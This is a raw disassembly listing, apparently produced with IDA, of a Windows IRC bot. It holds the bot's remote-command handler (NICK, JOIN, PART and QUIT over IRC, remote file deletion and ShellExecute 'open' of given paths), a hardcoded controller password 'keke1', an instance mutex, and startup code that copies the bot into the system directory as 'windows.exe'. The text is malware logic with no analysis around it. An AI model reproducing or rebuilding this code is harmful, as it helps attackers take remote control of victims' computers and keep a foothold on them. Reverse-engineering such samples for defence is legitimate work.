		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_40997C
		push	offset unk_42CDAC
		jmp	short loc_4099C8
; ---------------------------------------------------------------------------


loc_40997C:				; CODE XREF: sub_40274D+7226j
		push	esi
		push	offset asc_42CD94 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4099EE
; ---------------------------------------------------------------------------


loc_40998D:				; CODE XREF: sub_40274D+3D04j
					; sub_40274D+3D19j
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_404979
		push	eax		; Format
		call	sub_41AD95
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_4099C3
		push	offset unk_42CD74
		jmp	short loc_4099C8
; ---------------------------------------------------------------------------


loc_4099C3:				; CODE XREF: sub_40274D+726Dj
		push	offset asc_42CD58 ; "-"


loc_4099C8:				; CODE XREF: sub_40274D+714Dj
					; sub_40274D+715Dj ...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4099D0:				; CODE XREF: sub_40274D+70C2j
					; sub_40274D+7143j
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_4099EE
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_4099EE:				; CODE XREF: sub_40274D+6EE4j
					; sub_40274D+6EF6j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		pop	ecx
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_409A00:				; CODE XREF: sub_40274D+3CDAj
					; sub_40274D+3CEFj
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_221C]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+4Ch+Format]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409A2E
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_219C]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_409A2E:				; CODE XREF: sub_40274D+72CDj
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_211C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+4Ch+arg_4]
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_2220], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_2098], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_2094], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42CD40 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Ch		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 24h
		mov	[ebp+4Ch+var_209C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_2220]
		push	eax
		push	offset sub_41DAA1
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_209C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_409ADD
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42CD00 ; "-"


loc_409AC1:				; CODE XREF: sub_40274D+278Ej
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_406C6B
; ---------------------------------------------------------------------------


loc_409AD5:				; CODE XREF: sub_40274D+7396j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_409ADD:				; CODE XREF: sub_40274D+7366j
		cmp	[ebp+4Ch+var_2090], ebx
		jz	short loc_409AD5
		jmp	loc_406C6B
; ---------------------------------------------------------------------------


loc_409AEA:				; CODE XREF: sub_40274D+3CB0j
					; sub_40274D+3CC5j
		push	ebx		; Source
		push	[ebp+4Ch+Format] ; int
		push	[ebp+4Ch+arg_4]	; int
		push	[ebp+4Ch+var_8]	; int
		call	sub_412135
		push	[ebp+4Ch+var_8]
		push	offset dword_42CCE8
		jmp	loc_409FB1
; ---------------------------------------------------------------------------


loc_409B06:				; CODE XREF: sub_40274D+3C86j
					; sub_40274D+3C9Bj
		push	14h		; Size
		lea	eax, [ebp+4Ch+var_1D50]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+var_1D3C]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_1D58], eax
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Format
		lea	eax, [ebp+4Ch+var_1C38]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_1BB0], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_1BAC], eax
		lea	eax, [ebp+4Ch+var_1C38]
		push	eax
		lea	eax, [ebp+4Ch+var_1D3C]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42CCC4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 40h
		mov	[ebp+4Ch+var_1BB4], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1D58]
		push	eax
		push	offset sub_418956
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1BB4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jz	loc_402E72
		jmp	short loc_409BD0
; ---------------------------------------------------------------------------


loc_409BC8:				; CODE XREF: sub_40274D+7489j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_409BD0:				; CODE XREF: sub_40274D+7479j
		cmp	[ebp+4Ch+var_1BA8], ebx
		jz	short loc_409BC8
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_409BDD:				; CODE XREF: sub_40274D+3C5Cj
					; sub_40274D+3C71j
		push	[ebp+4Ch+var_8]
		call	ds:dword_42B02C	; DeleteFileA
		test	eax, eax
		jz	short loc_409BF4
		push	[ebp+4Ch+var_8]
		push	offset dword_42CCA8
		jmp	short loc_409BFF
; ---------------------------------------------------------------------------


loc_409BF4:				; CODE XREF: sub_40274D+749Bj
		push	offset dword_42D4B8
		call	sub_41ACD0
		push	eax		; Format


loc_409BFF:				; CODE XREF: sub_40274D+74A5j
		lea	eax, [ebp+4Ch+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf


loc_409C10:				; CODE XREF: sub_40274D+7595j
		add	esp, 10h
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_409C18:				; CODE XREF: sub_40274D+3C32j
					; sub_40274D+3C47j
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		push	eax
		call	sub_41C736
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+4Ch+var_8]
		cmp	eax, esi
		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_409C3F
		push	offset unk_42CC84
		jmp	short loc_409C44
; ---------------------------------------------------------------------------


loc_409C3F:				; CODE XREF: sub_40274D+74E9j
		push	offset asc_42CC54 ; "-"


loc_409C44:				; CODE XREF: sub_40274D+74F0j
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_406C6E
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h
		jmp	loc_406C6E
; ---------------------------------------------------------------------------


loc_409C74:				; CODE XREF: sub_40274D+3C08j
					; sub_40274D+3C1Dj
		push	ebx		; int
		push	ebx		; int
		push	[ebp+4Ch+var_8]	; Str2
		push	[ebp+4Ch+var_4]	; int
		push	ebx		; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_41C444
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+4Ch+var_8]
		jnz	short loc_409C9A
		push	offset unk_42CC34
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_409C9A:				; CODE XREF: sub_40274D+7541j
		push	offset unk_42CC04
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_409CA4:				; CODE XREF: sub_40274D+3BDEj
					; sub_40274D+3BF3j
		mov	esi, [ebp+4Ch+var_8]
		push	esi
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+4Ch+var_2DC], eax
		jz	short loc_409CE7
		push	2
		push	4
		lea	eax, [ebp+4Ch+var_2DC]
		push	eax
		call	dword_4441FC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_409D02
		push	dword ptr [eax]


loc_409CD0:				; CODE XREF: sub_40274D+75B3j
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42CBE4 ; "-"
		push	eax		; Dest
		call	_sprintf
		jmp	loc_409C10
; ---------------------------------------------------------------------------


loc_409CE7:				; CODE XREF: sub_40274D+756Aj
		push	esi		; Args
		call	dword_444168	; gethostbyname
		cmp	eax, ebx
		jz	short loc_409D02
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_444188	; inet_ntoa
		push	eax
		jmp	short loc_409CD0
; ---------------------------------------------------------------------------


loc_409D02:				; CODE XREF: sub_40274D+757Fj
					; sub_40274D+75A3j
		push	offset unk_42CBBC
		jmp	loc_406C3F
; ---------------------------------------------------------------------------


loc_409D0C:				; CODE XREF: sub_40274D+3BB4j
					; sub_40274D+3BC9j
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		push	[ebp+4Ch+arg_14] ; Dest
		call	_strncpy
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42CB94 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_409D35:				; CODE XREF: sub_40274D+3B8Aj
					; sub_40274D+3B9Fj
		push	5
		push	ebx
		push	ebx
		push	[ebp+4Ch+var_8]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_444214
		test	eax, eax
		push	[ebp+4Ch+var_8]
		jz	short loc_409D59
		push	offset unk_42CB74
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_409D59:				; CODE XREF: sub_40274D+7600j
		push	offset unk_42CB50
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_409D63:				; CODE XREF: sub_40274D+3B60j
					; sub_40274D+3B75j
		mov	eax, [ebp+4Ch+var_8]
		mov	cl, [eax]
		mov	byte_43C08C, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42CB28
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_409D7C:				; CODE XREF: sub_40274D+3B36j
					; sub_40274D+3B4Bj
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+4Ch+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40AB83
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch


loc_409DC3:				; CODE XREF: sub_40274D+6B2Fj
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Args
		push	offset aS_0	; "%s\r\n"
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_4011F5


loc_409DE9:				; CODE XREF: sub_40274D+28AEj
					; sub_40274D+28C1j ...
		add	esp, 0Ch
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_409DF1:				; CODE XREF: sub_40274D+3B0Cj
					; sub_40274D+3B21j
		mov	esi, [ebp+4Ch+var_8]
		push	esi		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	loc_402B92
		push	esi		; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_402B92
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi		; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_4011F5
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	esi		; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax]
		call	dword_444218	; closesocket
		push	[ebp+4Ch+var_1C]
		push	esi		; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444FC[eax]
		call	ds:dword_42B028	; TerminateThread
		push	esi		; Str
		call	j__atol
		imul	eax, 234h
		push	esi		; Str
		mov	dword_4444FC[eax], ebx
		call	j__atol
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4442E8[eax], bl
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_409E9F:				; CODE XREF: sub_40274D+3AE2j
					; sub_40274D+3AF7j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aAll	; "all"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_409ED0
		call	sub_40AFF6
		cmp	eax, ebx
		jle	short loc_409EC6
		push	eax
		push	offset unk_42CAFC
		jmp	loc_407CB2
; ---------------------------------------------------------------------------


loc_409EC6:				; CODE XREF: sub_40274D+776Cj
		push	offset unk_42CAD4
		jmp	loc_404A4D
; ---------------------------------------------------------------------------


loc_409ED0:				; CODE XREF: sub_40274D+7763j
		mov	esi, [ebp+4Ch+var_20]
		jmp	short loc_409F3A
; ---------------------------------------------------------------------------


loc_409ED5:				; CODE XREF: sub_40274D+77F1j
		mov	edi, [ebp+esi*4+4Ch+Str2]
		cmp	edi, ebx
		jz	loc_402B92
		push	edi		; Str
		call	j__atol
		push	eax
		call	sub_40AF6E
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_409F01
		push	offset unk_42CAB0
		jmp	short loc_409F06
; ---------------------------------------------------------------------------


loc_409F01:				; CODE XREF: sub_40274D+77ABj
		push	offset asc_42CA84 ; "-"


loc_409F06:				; CODE XREF: sub_40274D+77B2j
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_409F2D
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_409F2D:				; CODE XREF: sub_40274D+77C5j
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		pop	ecx


loc_409F3A:				; CODE XREF: sub_40274D+7786j
		inc	esi
		cmp	esi, 20h
		jb	short loc_409ED5
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_409F45:				; CODE XREF: sub_40274D+3AB8j
					; sub_40274D+3ACDj
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_404979
		push	esi		; Args
		push	offset aS_0	; "%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	esi
		push	offset dword_42CA68
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409F7B:				; CODE XREF: sub_40274D+3A8Ej
					; sub_40274D+3AA3j
		push	[ebp+4Ch+var_8]	; Args
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+var_8]
		push	offset unk_42CA44
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409F95:				; CODE XREF: sub_40274D+3A64j
					; sub_40274D+3A79j
		push	[ebp+esi+4Ch+Format]
		push	[ebp+4Ch+var_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+var_8]	; Args
		push	offset asc_42CA20 ; "-"


loc_409FB1:				; CODE XREF: sub_40274D+6BBAj
					; sub_40274D+6C3Dj ...
		call	sub_417DE4


loc_409FB6:				; CODE XREF: sub_40274D+22CAj
		add	esp, 18h
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_409FBE:				; CODE XREF: sub_40274D+3A3Aj
					; sub_40274D+3A4Fj
		push	[ebp+4Ch+var_8]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+var_8]	; Args
		push	offset asc_42C9FC ; "-"


loc_409FD6:				; CODE XREF: sub_40274D+6CE2j
					; sub_40274D+782Cj ...
		call	sub_417DE4


loc_409FDB:				; CODE XREF: sub_40274D+186Fj
					; sub_40274D+6D40j
		add	esp, 14h
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_409FE3:				; CODE XREF: sub_40274D+2F48j
					; sub_40274D+2F5Dj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42C9D8 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	esp, 1Ch
		jmp	short loc_40A05B
; ---------------------------------------------------------------------------


loc_40A01D:				; CODE XREF: sub_40274D+2F1Ej
					; sub_40274D+2F33j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42C9B0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	esp, 1Ch
		imul	eax, 3E8h


loc_40A05B:				; CODE XREF: sub_40274D+78CEj
		push	eax
		call	ds:dword_42B014	; Sleep
		jmp	loc_404FE6
; ---------------------------------------------------------------------------


loc_40A067:				; CODE XREF: sub_40274D+D65j
					; sub_40274D+D7Aj
		push	dword ptr [ebp+esi+4Ch+Args] ; Str1
		xor	eax, eax
		cmp	[ebp+4Ch+var_8F8], bl
		setnz	al
		push	eax		; int
		push	dword_43C094	; int
		lea	eax, [ebp+4Ch+Dest]
		push	eax		; Dest
		call	sub_40AB83
		lea	eax, [ebp+4Ch+Dest]
		push	eax		; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		lea	eax, [ebp+4Ch+Dest]
		push	eax		; Args
		push	offset asc_42C98C ; "-"
		call	sub_417DE4


loc_40A0AE:				; CODE XREF: sub_40274D+4FEBj
		add	esp, 24h
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_40A0B6:				; CODE XREF: sub_40274D+9C9j
					; sub_40274D+9DEj
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		mov	[ebp+4Ch+var_8], esi
		jz	loc_402B92
		cmp	[ebp+4Ch+var_14], ebx
		jnz	loc_402B92
		push	offset Delim	; "!"
		push	[ebp+4Ch+Str2]	; Str
		call	_strtok
		mov	esi, eax
		push	offset byte_42C988 ; Delim
		push	ebx		; Str
		inc	esi
		call	_strtok
		push	offset asc_42C984 ; "~"
		push	eax		; Str
		call	_strtok
		push	[ebp+4Ch+var_8]	; Str2
		mov	edi, eax
		push	offset aKeke1	; "keke1"
		call	_strcmp
		add	esp, 20h
		test	eax, eax
		jz	short loc_40A14F
		push	edi
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		push	eax		; Args
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	edi
		push	esi
		push	offset asc_42C904 ; "-"


loc_40A13B:				; CODE XREF: sub_40274D+7A55j
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 30h
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_40A14F:				; CODE XREF: sub_40274D+79BBj
		mov	[ebp+4Ch+arg_0], ebx


loc_40A152:				; CODE XREF: sub_40274D+7A22j
		mov	eax, [ebp+4Ch+arg_0]
		push	edi
		push	off_43C15C[eax]
		call	sub_40B264
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A1A4
		add	[ebp+4Ch+arg_0], 4
		cmp	[ebp+4Ch+arg_0], 4
		jb	short loc_40A152
		push	edi
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		push	eax		; Args
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	edi
		push	esi
		push	offset unk_42C8B0
		jmp	short loc_40A13B
; ---------------------------------------------------------------------------


loc_40A1A4:				; CODE XREF: sub_40274D+7A18j
		mov	edi, [ebp+4Ch+Str1]
		xor	esi, esi


loc_40A1A9:				; CODE XREF: sub_40274D+7A7Dj
		cmp	[edi], bl
		jnz	short loc_40A1C0
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aKeke1	; "keke1"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A1D1


loc_40A1C0:				; CODE XREF: sub_40274D+7A5Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40A1A9
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_40A1D1:				; CODE XREF: sub_40274D+7A71j
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_E38]
		shl	esi, 7
		add	esi, [ebp+4Ch+Str1]
		push	eax		; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_40A205
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset unk_42C890 ; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_40A205:				; CODE XREF: sub_40274D+7A9Fj
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Args
		push	offset asc_42C870 ; "-"


loc_40A211:				; CODE XREF: sub_40274D+52Fj
					; sub_40274D+2699j ...
		call	sub_417DE4


loc_40A216:				; CODE XREF: sub_40274D+19F8j
		pop	ecx


loc_40A217:				; CODE XREF: sub_40274D+2338j
		pop	ecx
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_40A21D:				; CODE XREF: sub_40274D+1E7j
					; sub_40274D+1FCj
		push	[ebp+4Ch+Source] ; Args
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	offset aXI	; "-x+i"
		push	[ebp+4Ch+Source] ; Args
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+arg_C]
		push	[ebp+4Ch+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		add	esp, 2Ch
		mov	dword_4D1FDC, edi
		jmp	loc_40291B
sub_40274D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+186p

var_984		= byte ptr -984h
var_880		= byte ptr -880h
var_87F		= byte ptr -87Fh
Filename	= byte ptr -6F0h
var_5F0		= byte ptr -5F0h
Ext		= byte ptr -4ECh
SubStr		= byte ptr -3ECh
Str		= byte ptr -2E8h
Dest		= byte ptr -1E4h
var_E0		= dword	ptr -0E0h
var_D4		= dword	ptr -0D4h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
Source		= byte ptr -9Ch
Dst		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 984h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40110F
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_42B038
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4D1FD0, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		call	sub_4012D6
		push	2
		call	dword_4440D4	; SetErrorMode
		push	7530h
		push	offset aFicken	; "ficken"
		push	ebx
		push	ebx
		call	ds:dword_42B058	; CreateMutexA
		push	eax
		call	ds:dword_42B054	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40A2E2
		push	1
		jmp	loc_40A53C
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: WinMain(x,x,x,x)+76j
		lea	eax, [ebp+var_880]
		push	eax
		push	202h
		call	dword_444110	; WSAStartup
		cmp	eax, ebx
		jnz	loc_40A7F7
		cmp	[ebp+var_880], 2
		jnz	loc_40A7F1
		cmp	[ebp+var_87F], 2
		jnz	loc_40A7F1
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+SubStr]
		push	eax
		call	ds:dword_42B010	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_42B024	; GetModuleHandleA
		push	eax
		call	ds:dword_42B00C	; GetModuleFileNameA
		lea	eax, [ebp+Ext]
		push	eax		; Ext
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+Str]
		push	ebx		; Drive
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Ext]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+var_5F0]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		add	esp, 30h
		test	eax, eax
		jnz	loc_40A542
		cmp	dword_4D1FD4, ebx
		mov	esi, offset aWindows_exe ; "windows.exe"
		jz	short loc_40A3D7
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		jz	short loc_40A3D7


loc_40A3B4:				; CODE XREF: WinMain(x,x,x,x)+172j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi		; Str
		add	dl, 61h
		mov	byte ptr aWindows_exe[edi], dl ; "windows.exe"
		inc	edi
		call	_strlen
		sub	eax, 4
		cmp	edi, eax
		pop	ecx
		jb	short loc_40A3B4


loc_40A3D7:				; CODE XREF: WinMain(x,x,x,x)+141j
					; WinMain(x,x,x,x)+14Fj
		push	esi
		lea	eax, [ebp+SubStr]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSS_0	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_42B050	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A417
		push	80h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_42B04C	; SetFileAttributesA


loc_40A417:				; CODE XREF: WinMain(x,x,x,x)+1A0j
		mov	esi, ds:dword_42B048
		xor	edi, edi
		jmp	short loc_40A443
; ---------------------------------------------------------------------------


loc_40A421:				; CODE XREF: WinMain(x,x,x,x)+1F3j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40A458
